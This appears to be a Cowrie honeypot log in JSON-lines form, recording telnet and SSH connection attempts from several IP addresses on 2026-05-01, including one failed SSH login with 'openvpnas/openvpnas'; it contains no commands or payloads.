{"eventid":"cowrie.session.closed","duration":37.733200788497925,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:52:12.012911Z","src_ip":"194.163.135.148","session":"177787ccb93d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":49542,"dst_ip":"159.203.135.109","dst_port":23,"session":"a3def4f19243","protocol":"telnet","message":"New connection: 194.163.135.148:49542 (159.203.135.109:23) [session: a3def4f19243]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:52:12.026149Z"}
{"eventid":"cowrie.session.closed","duration":37.36806273460388,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:52:12.719332Z","src_ip":"194.163.135.148","session":"cd7d3ebeb3f4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":49550,"dst_ip":"159.203.135.109","dst_port":23,"session":"e6c9bdaa17d1","protocol":"telnet","message":"New connection: 194.163.135.148:49550 (159.203.135.109:23) [session: e6c9bdaa17d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:52:12.929308Z"}
{"eventid":"cowrie.session.closed","duration":31.097841501235962,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:52:13.857666Z","src_ip":"194.163.135.148","session":"3ea68ed70a6c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.31459283828735,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:52:14.160754Z","src_ip":"194.163.135.148","session":"27ccf286258a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":49580,"dst_ip":"159.203.135.109","dst_port":23,"session":"b6167932bf56","protocol":"telnet","message":"New connection: 194.163.135.148:49580 (159.203.135.109:23) [session: b6167932bf56]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:52:14.217308Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":49586,"dst_ip":"159.203.135.109","dst_port":23,"session":"3ce37412cea8","protocol":"telnet","message":"New connection: 194.163.135.148:49586 (159.203.135.109:23) [session: 3ce37412cea8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:52:14.567728Z"}
{"eventid":"cowrie.session.closed","duration":35.87669110298157,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:52:15.671696Z","src_ip":"194.163.135.148","session":"9e67670227c0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":49594,"dst_ip":"159.203.135.109","dst_port":23,"session":"cb5a2f15bf62","protocol":"telnet","message":"New connection: 194.163.135.148:49594 (159.203.135.109:23) [session: cb5a2f15bf62]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:52:16.090609Z"}
{"eventid":"cowrie.session.closed","duration":32.862184286117554,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:52:16.229988Z","src_ip":"194.163.135.148","session":"a7a5a8813c8d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":49622,"dst_ip":"159.203.135.109","dst_port":23,"session":"695a716dc9a4","protocol":"telnet","message":"New connection: 194.163.135.148:49622 (159.203.135.109:23) [session: 695a716dc9a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:52:16.685205Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":49636,"dst_ip":"159.203.135.109","dst_port":23,"session":"c40183a45614","protocol":"telnet","message":"New connection: 194.163.135.148:49636 (159.203.135.109:23) [session: c40183a45614]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:52:17.020417Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":49608,"dst_ip":"159.203.135.109","dst_port":23,"session":"6776a9857167","protocol":"telnet","message":"New connection: 194.163.135.148:49608 (159.203.135.109:23) [session: 6776a9857167]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:52:17.818932Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":49644,"dst_ip":"159.203.135.109","dst_port":23,"session":"bdd3b454c1f5","protocol":"telnet","message":"New connection: 194.163.135.148:49644 (159.203.135.109:23) [session: bdd3b454c1f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:52:18.355632Z"}
{"eventid":"cowrie.session.closed","duration":32.323004961013794,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:52:18.442081Z","src_ip":"194.163.135.148","session":"97adea64fc47","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":49654,"dst_ip":"159.203.135.109","dst_port":23,"session":"f365ab621b5e","protocol":"telnet","message":"New connection: 194.163.135.148:49654 (159.203.135.109:23) [session: f365ab621b5e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:52:19.044501Z"}
{"eventid":"cowrie.session.closed","duration":36.98293733596802,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:52:19.381439Z","src_ip":"194.163.135.148","session":"f72facad1d1e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":49660,"dst_ip":"159.203.135.109","dst_port":23,"session":"a2c2fd3e4f43","protocol":"telnet","message":"New connection: 194.163.135.148:49660 (159.203.135.109:23) [session: a2c2fd3e4f43]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:52:19.461477Z"}
{"eventid":"cowrie.session.closed","duration":33.98007774353027,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:52:21.597862Z","src_ip":"194.163.135.148","session":"e441e9c3df3f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.408807516098022,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:52:22.303092Z","src_ip":"194.163.135.148","session":"259acc16e2f1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":49700,"dst_ip":"159.203.135.109","dst_port":23,"session":"bd539df85169","protocol":"telnet","message":"New connection: 194.163.135.148:49700 (159.203.135.109:23) [session: bd539df85169]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:52:23.802328Z"}
{"eventid":"cowrie.session.closed","duration":34.31891989707947,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:52:23.809960Z","src_ip":"194.163.135.148","session":"bc38f2e55b67","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.499539375305176,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:52:24.419379Z","src_ip":"194.163.135.148","session":"e4a835a5ad5e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":49738,"dst_ip":"159.203.135.109","dst_port":23,"session":"b5fa1d4235ff","protocol":"telnet","message":"New connection: 194.163.135.148:49738 (159.203.135.109:23) [session: b5fa1d4235ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:52:24.563238Z"}
{"eventid":"cowrie.session.closed","duration":31.242727279663086,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:52:24.818604Z","src_ip":"194.163.135.148","session":"ecc91cb22067","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.0379593372345,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:52:25.998864Z","src_ip":"194.163.135.148","session":"f3a31217e359","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":49760,"dst_ip":"159.203.135.109","dst_port":23,"session":"817aa1bfb49e","protocol":"telnet","message":"New connection: 194.163.135.148:49760 (159.203.135.109:23) [session: 817aa1bfb49e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:52:27.217257Z"}
{"eventid":"cowrie.session.closed","duration":37.03100848197937,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:52:28.282341Z","src_ip":"194.163.135.148","session":"bb49d9ead8ac","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":49764,"dst_ip":"159.203.135.109","dst_port":23,"session":"297397e66444","protocol":"telnet","message":"New connection: 194.163.135.148:49764 (159.203.135.109:23) [session: 297397e66444]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:52:29.817322Z"}
{"eventid":"cowrie.session.closed","duration":120.00404596328735,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:52:31.443676Z","src_ip":"201.1.168.89","session":"37c88b4186d1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"201.1.168.89","src_port":40747,"dst_ip":"159.203.135.109","dst_port":23,"session":"63f503f1f6de","protocol":"telnet","message":"New connection: 201.1.168.89:40747 (159.203.135.109:23) [session: 63f503f1f6de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:52:32.281714Z"}
{"eventid":"cowrie.session.closed","duration":120.00142526626587,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:52:32.311718Z","src_ip":"201.1.168.89","session":"47e89d020e85","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":49800,"dst_ip":"159.203.135.109","dst_port":23,"session":"27e4609406bd","protocol":"telnet","message":"New connection: 194.163.135.148:49800 (159.203.135.109:23) [session: 27e4609406bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:52:32.731477Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":49810,"dst_ip":"159.203.135.109","dst_port":23,"session":"307a1413e9bd","protocol":"telnet","message":"New connection: 194.163.135.148:49810 (159.203.135.109:23) [session: 307a1413e9bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:52:32.745216Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":49814,"dst_ip":"159.203.135.109","dst_port":23,"session":"0b864061004d","protocol":"telnet","message":"New connection: 194.163.135.148:49814 (159.203.135.109:23) [session: 0b864061004d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:52:32.963928Z"}
{"eventid":"cowrie.session.connect","src_ip":"201.1.168.89","src_port":40773,"dst_ip":"159.203.135.109","dst_port":23,"session":"66093e082513","protocol":"telnet","message":"New connection: 201.1.168.89:40773 (159.203.135.109:23) [session: 66093e082513]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:52:34.045737Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":49836,"dst_ip":"159.203.135.109","dst_port":23,"session":"3c5f36f2fe92","protocol":"telnet","message":"New connection: 194.163.135.148:49836 (159.203.135.109:23) [session: 3c5f36f2fe92]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:52:37.529737Z"}
{"eventid":"cowrie.session.closed","duration":32.036927938461304,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:52:38.856854Z","src_ip":"194.163.135.148","session":"3122630a5e44","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":49866,"dst_ip":"159.203.135.109","dst_port":23,"session":"a0f129006e06","protocol":"telnet","message":"New connection: 194.163.135.148:49866 (159.203.135.109:23) [session: a0f129006e06]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:52:39.770246Z"}
{"eventid":"cowrie.session.closed","duration":39.0065701007843,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:52:39.848948Z","src_ip":"194.163.135.148","session":"7fdb043f28f3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.86564755439758,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:52:40.428950Z","src_ip":"194.163.135.148","session":"f6f9c7bbdac3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":49884,"dst_ip":"159.203.135.109","dst_port":23,"session":"87ac6237105a","protocol":"telnet","message":"New connection: 194.163.135.148:49884 (159.203.135.109:23) [session: 87ac6237105a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:52:41.588245Z"}
{"eventid":"cowrie.session.closed","duration":33.916783571243286,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:52:42.000505Z","src_ip":"194.163.135.148","session":"298e5d8170fe","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":49900,"dst_ip":"159.203.135.109","dst_port":23,"session":"4d16fd2700d2","protocol":"telnet","message":"New connection: 194.163.135.148:49900 (159.203.135.109:23) [session: 4d16fd2700d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:52:43.058090Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":49902,"dst_ip":"159.203.135.109","dst_port":23,"session":"298a59d09332","protocol":"telnet","message":"New connection: 194.163.135.148:49902 (159.203.135.109:23) [session: 298a59d09332]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:52:43.431612Z"}
{"eventid":"cowrie.session.closed","duration":33.408555030822754,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:52:43.626909Z","src_ip":"194.163.135.148","session":"8f3193e4a6a8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.05585789680481,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:52:44.331806Z","src_ip":"194.163.135.148","session":"882ddaf87a33","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.54039740562439,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:52:44.566435Z","src_ip":"194.163.135.148","session":"a3def4f19243","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.9537410736084,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:52:45.882925Z","src_ip":"194.163.135.148","session":"e6c9bdaa17d1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"181.59.3.167","src_port":33979,"dst_ip":"159.203.135.109","dst_port":23,"session":"dda80e49cf8b","protocol":"telnet","message":"New connection: 181.59.3.167:33979 (159.203.135.109:23) [session: dda80e49cf8b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:52:45.976912Z"}
{"eventid":"cowrie.session.closed","duration":36.51344680786133,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:52:46.207065Z","src_ip":"194.163.135.148","session":"b4246e65847b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":49924,"dst_ip":"159.203.135.109","dst_port":23,"session":"5c9d8403e511","protocol":"telnet","message":"New connection: 194.163.135.148:49924 (159.203.135.109:23) [session: 5c9d8403e511]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:52:46.407139Z"}
{"eventid":"cowrie.session.closed","duration":34.33542728424072,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:52:48.903024Z","src_ip":"194.163.135.148","session":"3ce37412cea8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.86689257621765,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:52:49.222389Z","src_ip":"194.163.135.148","session":"bdd3b454c1f5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.156421184539795,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:52:49.246814Z","src_ip":"194.163.135.148","session":"cb5a2f15bf62","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.0808002948761,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:52:49.766248Z","src_ip":"194.163.135.148","session":"695a716dc9a4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.82030129432678,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:52:50.037471Z","src_ip":"194.163.135.148","session":"b6167932bf56","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.21650505065918,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:52:50.236773Z","src_ip":"194.163.135.148","session":"c40183a45614","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":49956,"dst_ip":"159.203.135.109","dst_port":23,"session":"9d9dfed5c4c9","protocol":"telnet","message":"New connection: 194.163.135.148:49956 (159.203.135.109:23) [session: 9d9dfed5c4c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:52:50.322931Z"}
{"eventid":"cowrie.session.closed","duration":31.468475818634033,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:52:50.927807Z","src_ip":"194.163.135.148","session":"a2c2fd3e4f43","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.7309296131134,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:52:51.549748Z","src_ip":"194.163.135.148","session":"6776a9857167","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.64414024353027,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:52:52.688492Z","src_ip":"194.163.135.148","session":"f365ab621b5e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":49986,"dst_ip":"159.203.135.109","dst_port":23,"session":"e51d94808e96","protocol":"telnet","message":"New connection: 194.163.135.148:49986 (159.203.135.109:23) [session: e51d94808e96]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:52:54.479696Z"}
{"eventid":"cowrie.session.closed","duration":30.847095251083374,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:52:54.649281Z","src_ip":"194.163.135.148","session":"bd539df85169","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":50012,"dst_ip":"159.203.135.109","dst_port":23,"session":"ecae62aa018f","protocol":"telnet","message":"New connection: 194.163.135.148:50012 (159.203.135.109:23) [session: ecae62aa018f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:52:56.722360Z"}
{"eventid":"cowrie.session.closed","duration":33.87182950973511,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:52:58.434939Z","src_ip":"194.163.135.148","session":"b5fa1d4235ff","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":50026,"dst_ip":"159.203.135.109","dst_port":23,"session":"f77be40672cd","protocol":"telnet","message":"New connection: 194.163.135.148:50026 (159.203.135.109:23) [session: f77be40672cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:52:58.842777Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.24.211.95","src_port":49707,"dst_ip":"159.203.135.109","dst_port":22,"session":"67799746d72c","protocol":"ssh","message":"New connection: 193.24.211.95:49707 (159.203.135.109:22) [session: 67799746d72c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:53:00.961274Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:53:00.966337Z","src_ip":"193.24.211.95","session":"67799746d72c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:53:01.076399Z","src_ip":"193.24.211.95","session":"67799746d72c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"openvpnas","password":"openvpnas","message":"login attempt [openvpnas/openvpnas] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:53:01.527124Z","src_ip":"193.24.211.95","session":"67799746d72c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":50042,"dst_ip":"159.203.135.109","dst_port":23,"session":"a029b14c487a","protocol":"telnet","message":"New connection: 194.163.135.148:50042 (159.203.135.109:23) [session: a029b14c487a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:53:01.558617Z"}
{"eventid":"cowrie.session.closed","duration":34.54664874076843,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:53:01.763788Z","src_ip":"194.163.135.148","session":"817aa1bfb49e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":50046,"dst_ip":"159.203.135.109","dst_port":23,"session":"541db9a7dfd9","protocol":"telnet","message":"New connection: 194.163.135.148:50046 (159.203.135.109:23) [session: 541db9a7dfd9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:53:01.803062Z"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:53:02.638544Z","src_ip":"193.24.211.95","session":"67799746d72c","protocol":"ssh"}
